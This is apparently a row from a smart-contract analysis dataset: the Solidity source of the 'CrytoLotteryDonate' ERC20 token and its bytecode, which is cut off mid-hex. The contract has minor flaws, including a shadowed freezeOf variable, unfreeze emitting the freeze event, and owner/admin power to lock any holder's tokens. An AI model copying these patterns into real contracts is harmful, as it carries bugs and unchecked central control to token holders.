address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0xd9bae2ac380a1fa3558a1f7a2f3d10b078ed40f6
pragma solidity ^0.4.25; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) balances; uint256 _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0) && _value != 0 &&_value <= balances[msg.sender],"Please check the amount of transmission error and the amount you send."); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20Token is BasicToken, ERC20 { using SafeMath for uint256; event Approval(address indexed owner, address indexed spender, uint256 value); mapping (address => mapping (address => uint256)) allowed; mapping (address => uint256) public freezeOf; function approve(address _spender, uint256 _value) public returns (bool) { require(_value == 0 || allowed[msg.sender][_spender] == 0,"Please check the amount you want to approve."); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; mapping (address => bool) public admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner,"I am not the owner of the wallet."); _; } modifier onlyOwnerOrAdmin() { require(msg.sender == owner || admin[msg.sender] == true,"It is not the owner or manager wallet address."); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0) && newOwner != owner && admin[newOwner] == true,"It must be the existing manager wallet, not the existing owner's wallet."); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function setAdmin(address newAdmin) onlyOwner public { require(admin[newAdmin] != true && owner != newAdmin,"It is not an existing administrator wallet, and it must not be the owner wallet of the token."); admin[newAdmin] = true; } function unsetAdmin(address Admin) onlyOwner public { require(admin[Admin] != false && owner != Admin,"This is an existing admin wallet, it must not be a token holder wallet."); admin[Admin] = false; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused,"There is a pause."); _; } modifier whenPaused() { require(paused,"It is not paused."); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) {return 0; } uint256 c = a * b; require(c / a == b,"An error occurred in the calculation process"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b !=0,"The number you want to divide must be non-zero."); uint256 c = a / b; require(c * b == a,"An error occurred in the calculation process"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a,"There are more to deduct."); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a,"The number did not increase."); return c; } } contract BurnableToken is BasicToken, Ownable { event Burn(address indexed burner, uint256 amount); function burn(uint256 _value) onlyOwner public { balances[msg.sender] = balances[msg.sender].sub(_value); _totalSupply = _totalSupply.sub(_value); emit Burn(msg.sender, _value); emit Transfer(msg.sender, address(0), _value); } } contract FreezeToken is BasicToken, Ownable { event Freezen(address indexed freezer, uint256 amount); event UnFreezen(address indexed freezer, uint256 amount); mapping (address => uint256) freezeOf; function freeze(uint256 _value) onlyOwner public { balances[msg.sender] = balances[msg.sender].sub(_value); freezeOf[msg.sender] = freezeOf[msg.sender].add(_value); _totalSupply = _totalSupply.sub(_value); emit Freezen(msg.sender, _value); } function unfreeze(uint256 _value) onlyOwner public { require(freezeOf[msg.sender] >= _value,"The number to be processed is more than the total amount and the number currently frozen."); balances[msg.sender] = balances[msg.sender].add(_value); freezeOf[msg.sender] = freezeOf[msg.sender].sub(_value); _totalSupply = _totalSupply.add(_value); emit Freezen(msg.sender, _value); } } contract CrytoLotteryDonate is BurnableToken,FreezeToken, DetailedERC20, ERC20Token,Pausable{ using SafeMath for uint256; event Approval(address indexed owner, address indexed spender, uint256 value); event LockerChanged(address indexed owner, uint256 amount); mapping(address => uint) locker; string private _symbol = "CLD"; string private _name = "CrytoLotteryDonate"; uint8 private _decimals = 18; uint256 private TOTAL_SUPPLY = 10*(10**8)*(10**uint256(_decimals)); constructor() DetailedERC20(_name, _symbol, _decimals) public { _totalSupply = TOTAL_SUPPLY; balances[owner] = _totalSupply; emit Transfer(address(0x0), msg.sender, _totalSupply); } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool){ require(balances[msg.sender].sub(_value) >= locker[msg.sender],"Attempting to send more than the locked number"); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool){ require(_to > address(0) && _from > address(0),"Please check the address" ); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value,"Please check the amount of transmission error and the amount you send."); require(balances[_from].sub(_value) >= locker[_from],"Attempting to send more than the locked number" ); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function lockOf(address _address) public view returns (uint256 _locker) { return locker[_address]; } function setLock(address _address, uint256 _value) public onlyOwnerOrAdmin { require(_value <= _totalSupply &&_address != address(0),"It is the first wallet or attempted to lock an amount greater than the total holding."); locker[_address] = _value; emit LockerChanged(_address, _value); } function setLockList(address[] _recipients, uint256[] _balances) public onlyOwnerOrAdmin{ require(_recipients.length == _balances.length,"The number of wallet arrangements and the number of amounts are different."); for (uint i=0; i < _recipients.length; i++) { require(_recipients[i] != address(0),'Please check the address'); locker[_recipients[i]] = _balances[i]; emit LockerChanged(_recipients[i], _balances[i]); } } function transferList(address[] _recipients, uint256[] _balances) public onlyOwnerOrAdmin{ require(_recipients.length == _balances.length,"The number of wallet arrangements and the number of amounts are different."); for (uint i=0; i < _recipients.length; i++) { balances[msg.sender] = balances[msg.sender].sub(_balances[i]); balances[_recipients[i]] = balances[_recipients[i]].add(_balances[i]); emit Transfer(msg.sender,_recipients[i],_balances[i]); } } function() public payable { revert(); } }
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610164578063095ea7b3146101f457806318160ddd146102595780631d5397641461028457806323b872dd1461032d578063313ce567146103b25780633f4ba83a146103e357806342966c68146103fa5780634d253b50146104275780635a46d3b51461046a5780635c975abb146104c157806363a846f8146104f0578063661884631461054b5780636623fc46146105b0578063704b6c02146105dd57806370a08231146106205780638456cb5914610677578063859bc2f31461068e5780638da5cb5b1461073757806395d89b411461078e578063a9059cbb1461081e578063b0fc29e614610883578063cd4217c1146108d0578063d73dd62314610927578063d7a78db81461098c578063dd62ed3e146109b9578063f2fde38b14610a30575b600080fd5b34801561017057600080fd5b50610179610a73565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b957808201518184015260208101905061019e565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b11565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610d27565b6040518082815260200191505060405180910390f35b34801561029057600080fd5b5061032b6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610d31565b005b34801561033957600080fd5b50610398600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611108565b604051808215151515815260200191505060405180910390f35b3480156103be57600080fd5b506103c76117c7565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103ef57600080fd5b506103f86117da565b005b34801561040657600080fd5b5061042560048036038101908080359060200190929190505050611992565b005b34801561043357600080fd5b50610468600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611be2565b005b34801561047657600080fd5b506104ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e97565b6040518082815260200191505060405180910390f35b3480156104cd57600080fd5b506104d6611ee0565b604051808215151515815260200191505060405180910390f35b3480156104fc57600080fd5b50610531600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ef3565b604051808215151515815260200191505060405180910390f35b34801561055757600080fd5b50610596600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f13565b604051808215151515815260200191505060405180910390f35b3480156105bc57600080fd5b506105db600480360381019080803590602001909291905050506121a5565b005b3480156105e957600080fd5b5061061e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612527565b005b34801561062c57600080fd5b50610661600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127dc565b6040518082815260200191505060405180910390f35b34801561068357600080fd5b5061068c612824565b005b34801561069a57600080fd5b5061073560048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506129dd565b005b34801561074357600080fd5b5061074c612e1f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561079a57600080fd5b506107a3612e45565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107e35780820151818401526020810190506107c8565b50505050905090810190601f1680156108105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561082a57600080fd5b50610869600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612ee3565b604051808215151515815260200191505060405180910390f35b34801561088f57600080fd5b506108ce600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506130a9565b005b3480156108dc57600080fd5b50610911600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613384565b6040518082815260200191505060405180910390f35b34801561093357600080fd5b50610972600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061339c565b604051808215151515815260200191505060405180910390f35b34801561099857600080fd5b506109b760048036038101908080359060200190929190505050613598565b005b3480156109c557600080fd5b50610a1a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613817565b6040518082815260200191505060405180910390f35b348015610a3c57600080fd5b50610a71600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061389e565b005b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b095780601f10610ade57610100808354040283529160200191610b09565b820191906000526020600020905b815481529060010190602001808311610aec57829003601f168201915b505050505081565b600080821480610b9d57506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610c37576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001807f506c6561736520636865636b2074686520616d6f756e7420796f752077616e7481526020017f20746f20617070726f76652e000000000000000000000000000000000000000081525060400191505060405180910390fd5b81600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ddf575060011515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515610e79576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f4974206973206e6f7420746865206f776e6572206f72206d616e61676572207781526020017f616c6c657420616464726573732e00000000000000000000000000000000000081525060400191505060405180910390fd5b81518351141515610f3e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a8152602001807f546865206e756d626572206f662077616c6c657420617272616e67656d656e7481526020017f7320616e6420746865206e756d626572206f6620616d6f756e7473206172652081526020017f646966666572656e742e0000000000000000000000000000000000000000000081525060600191505060405180910390fd5b600090505b825181101561110357600073ffffffffffffffffffffffffffffffffffffffff168382815181101515610f7257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515611008576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f506c6561736520636865636b207468652061646472657373000000000000000081525060200191505060405180910390fd5b818181518110151561101657fe5b90602001906020020151600b6000858481518110151561103257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110151561108857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f173c6954f6574ae8ea8afd3eed2fc6ddd6f1aac55aab5e2c3a10edc59ba2dfd383838151811015156110d757fe5b906020019060200201516040518082815260200191505060405180910390a28080600101915050610f43565b505050565b6000600a60009054906101000a900460ff1615151561118f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f546865726520697320612070617573652e00000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161180156111f75750600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16115b151561126b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f506c6561736520636865636b207468652061646472657373000000000000000081525060200191505060405180910390fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611335575081600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15156113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260468152602001807f506c6561736520636865636b2074686520616d6f756e74206f66207472616e7381526020017f6d697373696f6e206572726f7220616e642074686520616d6f756e7420796f7581526020017f2073656e642e000000000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611486836000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b10151515611522576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f417474656d7074696e6720746f2073656e64206d6f7265207468616e2074686581526020017f206c6f636b6564206e756d62657200000000000000000000000000000000000081525060400191505060405180910390fd5b611573826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611606826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116d782600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600760009054906101000a900460ff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600a60009054906101000a900460ff161515611949576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4974206973206e6f74207061757365642e00000000000000000000000000000081525060200191505060405180910390fd5b6000600a60006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a7d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b611ace816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b2581600154613bf090919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ccd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60001515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514158015611d7c57508073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1515611e3c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260478152602001807f5468697320697320616e206578697374696e672061646d696e2077616c6c657481526020017f2c206974206d757374206e6f74206265206120746f6b656e20686f6c6465722081526020017f77616c6c65742e0000000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900460ff1681565b60036020528060005260406000206000915054906101000a900460ff1681565b600080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515612025576000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120b9565b6120388382613bf090919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612290576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515612393576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260598152602001807f546865206e756d62657220746f2062652070726f636573736564206973206d6f81526020017f7265207468616e2074686520746f74616c20616d6f756e7420616e642074686581526020017f206e756d6265722063757272656e746c792066726f7a656e2e0000000000000081525060600191505060405180910390fd5b6123e4816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061247881600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124d081600154613c7590919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fcac76f4972d9ff5ad35f15943c99ef30a49b3a0203cc98c4ef401ab7b8d1a509826040518082815260200191505060405180910390a250565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612612576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60011515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141580156126c157508073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1515612781576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605d8152602001807f4974206973206e6f7420616e206578697374696e672061646d696e697374726181526020017f746f722077616c6c65742c20616e64206974206d757374206e6f74206265207481526020017f6865206f776e65722077616c6c6574206f662074686520746f6b656e2e00000081525060600191505060405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561290f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600a60009054906101000a900460ff16151515612994576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f546865726520697320612070617573652e00000000000000000000000000000081525060200191505060405180910390fd5b6001600a60006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612a8b575060011515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515612b25576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f4974206973206e6f7420746865206f776e6572206f72206d616e61676572207781526020017f616c6c657420616464726573732e00000000000000000000000000000000000081525060400191505060405180910390fd5b81518351141515612bea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a8152602001807f546865206e756d626572206f662077616c6c657420617272616e67656d656e7481526020017f7320616e6420746865206e756d626572206f6620616d6f756e7473206172652081526020017f646966666572656e742e0000000000000000000000000000000000000000000081525060600191505060405180910390fd5b600090505b8251811015612e1a57612c608282815181101515612c0957fe5b906020019060200201516000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d218282815181101515612cb357fe5b906020019060200201516000808685815181101515612cce57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7590919063ffffffff16565b6000808584815181101515612d3257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508281815181101515612d8857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484815181101515612dee57fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050612bef565b505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612edb5780601f10612eb057610100808354040283529160200191612edb565b820191906000526020600020905b815481529060010190602001808311612ebe57829003601f168201915b505050505081565b6000600a60009054906101000a900460ff16151515612f6a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f546865726520697320612070617573652e00000000000000000000000000000081525060200191505060405180910390fd5b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ffb836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b10151515613097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f417474656d7074696e6720746f2073656e64206d6f7265207468616e2074686581526020017f206c6f636b6564206e756d62657200000000000000000000000000000000000081525060400191505060405180910390fd5b6130a18383613cff565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480613155575060011515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b15156131ef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f4974206973206e6f7420746865206f776e6572206f72206d616e61676572207781526020017f616c6c657420616464726573732e00000000000000000000000000000000000081525060400191505060405180910390fd5b600154811115801561322e5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15156132ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260558152602001807f4974206973207468652066697273742077616c6c6574206f7220617474656d7081526020017f74656420746f206c6f636b20616e20616d6f756e74206772